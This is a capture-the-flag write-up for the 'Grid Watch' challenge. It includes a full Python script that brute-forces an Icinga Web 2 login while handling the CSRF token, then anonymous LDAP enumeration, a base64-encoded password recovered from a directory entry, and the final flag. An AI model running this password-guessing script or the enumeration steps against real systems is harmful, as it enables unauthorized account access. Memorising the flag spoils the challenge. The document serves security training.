Skip to content

Grid Watch


🧠 Challenge Text

Hi, emergency troubleshooter,

the entire Monitoring Department went on a teambuilding trip to the Cayman Islands, into the wilderness outside civilization (and without any telecommunications), and forgot to appoint a deputy during their absence. Verify whether all power plants are still in good condition.

The only thing we know about the monitoring team is that they registered the domain gridwatch.powergrid.tcc.

Stay grounded!

🔍 Hints Text

1. Hint Many systems like to keep things simple — their usernames often resemble their own names.

🎨 Solution

Using the hint the user name candidate to try is icinga and Top 10K passwords. To brute-force possible 10K password we need a script which handles CSFR token.

#!/usr/bin/env python3
"""
gridwatch.py

Purpose:
  - Loads the Icinga Web 2 login page, preserves hidden inputs (CSRF),
    submits username/password pairs, and checks whether the response
    contains <ul class="errors"> (which may indicate login failure).

Usage:
  - : example
      python3 gridwatch.py --url http://gridwatch.powergrid.tcc:8080 --timeout 1 --delay 0.5 --pwds /top_10000_pwds
  - See --help for other options.

Dependencies:
  pip install requests beautifulsoup4
"""

import argparse
from pathlib import Path
import time
import sys

import requests
from bs4 import BeautifulSoup

# Default settings (edit if needed)
DEFAULT_DELAY = 2.0  # seconds between attempts (be polite)
DEFAULT_TIMEOUT = 10  # seconds for HTTP requests
USER_AGENT = "lab-script/1.0 (+https://example.com/)"

def get_login_form(session, login_url, timeout=DEFAULT_TIMEOUT):
    """
    Fetch the login page and parse the first form that contains a password input.
    Returns: (form_action_url, form_inputs_dict, username_field_name, password_field_name)
    """
    resp = session.get(login_url, timeout=timeout)
    resp.raise_for_status()
    soup = BeautifulSoup(resp.text, "html.parser")

    # find forms that have an input type=password
    forms = soup.find_all("form")

    assert len(forms) == 1
    form = forms[0]

    inputs = {}

    for inp in form.find_all("input"):
        name = inp.get("name")
        if not name:
            continue
        value = inp.get("value", "")
        # record hidden and default values
        inputs[name] = value

    password_field = 'password'
    username_field = 'username'
    return inputs, username_field, password_field


def submit_credentials(session, action_url, base_inputs, username_field, password_field,
                       username, password, timeout=DEFAULT_TIMEOUT):
    """
    Submit the login form preserving hidden inputs.
    Returns: Response object
    """
    data = base_inputs.copy()
    data[username_field] = username
    data[password_field] = password

    # perform POST (Icinga Web 2 may accept POST to the action URL or same page)
    resp = session.post(action_url, data=data, timeout=timeout, allow_redirects=True)
    return resp

def check_errors(resp):
    """
    Check whether response content contains <ul class="errors"> and return found text (or None).
    """
    soup = BeautifulSoup(resp.text, "html.parser")
    ul = soup.find("ul", {"class": "errors"})
    if ul:
        return ul.get_text(separator=" ", strip=True)
    return None

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", required=True, help="Base URL of the app (e.g. http://gridwatch.powergrid.tcc:8080)")
    parser.add_argument("--login-path", default="/authentication/login", help="Login page path if different")
    parser.add_argument("--user", default="icinga", help="A text file of usernames")
    parser.add_argument("--pwdf", help="A text file of passwords")
    parser.add_argument("--delay", type=float, default=DEFAULT_DELAY, help="Seconds to wait between attempts")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="HTTP timeout in seconds")
    parser.add_argument("--max", type=int, default=0, help="Max attempts (0 = unlimited for provided creds)")
    args = parser.parse_args()

    login_url = args.url.rstrip("/") + args.login_path

    # Build initial session
    session = requests.Session()
    session.headers.update({"User-Agent": USER_AGENT})

    try:
        action_url = login_url
        base_inputs, username_field, password_field = get_login_form(session, login_url, timeout=args.timeout)
    except Exception as e:
        print(f"[!] Failed to parse login form: {e}", file=sys.stderr)
        sys.exit(2)

    print(f"[+] Login action URL: {action_url}")
    print(f"[+] Username field: {username_field}, Password field: {password_field}")
    print(f"[+] Hidden inputs preserved: {', '.join(k for k in base_inputs.keys() if k not in (username_field, password_field))}")

    with open(Path(args.pwdf), encoding='utf-8') as f:
        passwords = [l.strip() for l in f]

    users = [args.user]

    cred_list = [(u, p) for p in passwords for u in users]

    if not cred_list:
        print("[!] No credentials to try. Provide --user/--pass or --creds file.", file=sys.stderr)
        sys.exit(1)

    attempts = 0
    for username, password in cred_list:
        attempts += 1
        if args.max and attempts > args.max:
            print("[*] Reached max attempts; stopping.")
            break

        print(f"[>] Attempt {attempts}: username='{username}' password='{password}'")
        try:
            resp = submit_credentials(session, action_url, base_inputs,
                                      username_field, password_field,
                                      username, password, timeout=args.timeout)
        except requests.RequestException as re:
            print(f"[!] Request failed: {re}")
            time.sleep(args.delay)
            continue

        err_text = check_errors(resp)
        if err_text:
            print(f"    [-] Login likely FAILED (errors found): {err_text}")
        else:
            print(f"Found.")
            break

        # polite delay
        time.sleep(args.delay)

    print("[*] Done.")

if __name__ == "__main__":
    main()

Just execute it and get test password for icinga user.

python gridwatch.py --url http://gridwatch.powergrid.tcc:8080 --timeout 1 --delay 0.5 --pwdf top_10000_pwds.txt

Continue with logging into icinga web portal. Among running services at Dashboard ldap service reveals its IPv4 address; 10.99.25.52 which is accessible. Lets try it out. Every LDAP server exposes a Root DSE (Directory Service Entry) — a special entry that describes the server itself and its naming contexts. You can query it with no base DN at all:

malisha@malisha-ASUS-TUF-Gaming-F15-FX506LH-FX506LH:~$ ldapsearch -x -H ldap://10.99.25.52:389 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts 
#

#
dn:
namingContexts: dc=ldap,dc=powergrid,dc=tcc

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Cool, we got full distinguished name

dc=tcc
└── dc=powergrid
      └── dc=ldap

and now you can enumerate entries under that base using ldapsearch

$ ldapsearch -x -H ldap://10.99.25.52:389 -b "dc=ldap,dc=powergrid,dc=tcc" "(objectClass=*)"

...
# mscott, Users, ldap.powergrid.tcc
dn: uid=mscott,ou=Users,dc=ldap,dc=powergrid,dc=tcc
objectClass: inetOrgPerson
objectClass: top
uid: mscott
cn: mscott
sn: Scott
displayName: Michael Scott
description: UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhaWQK
...
Interesting entry found. Yay, we got login for Michael Scott; mscott and Thatswhatshesaid.

$ echo UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhaWQK | base64 -d
Pwd reset to Thatswhatshesaid

Finally, login into icinga web portal again as mscott and check status of fusion.powergrid.tcc service at dashboard - Current status: FLAG{KWT6-EoVP-uE47-9PtN}.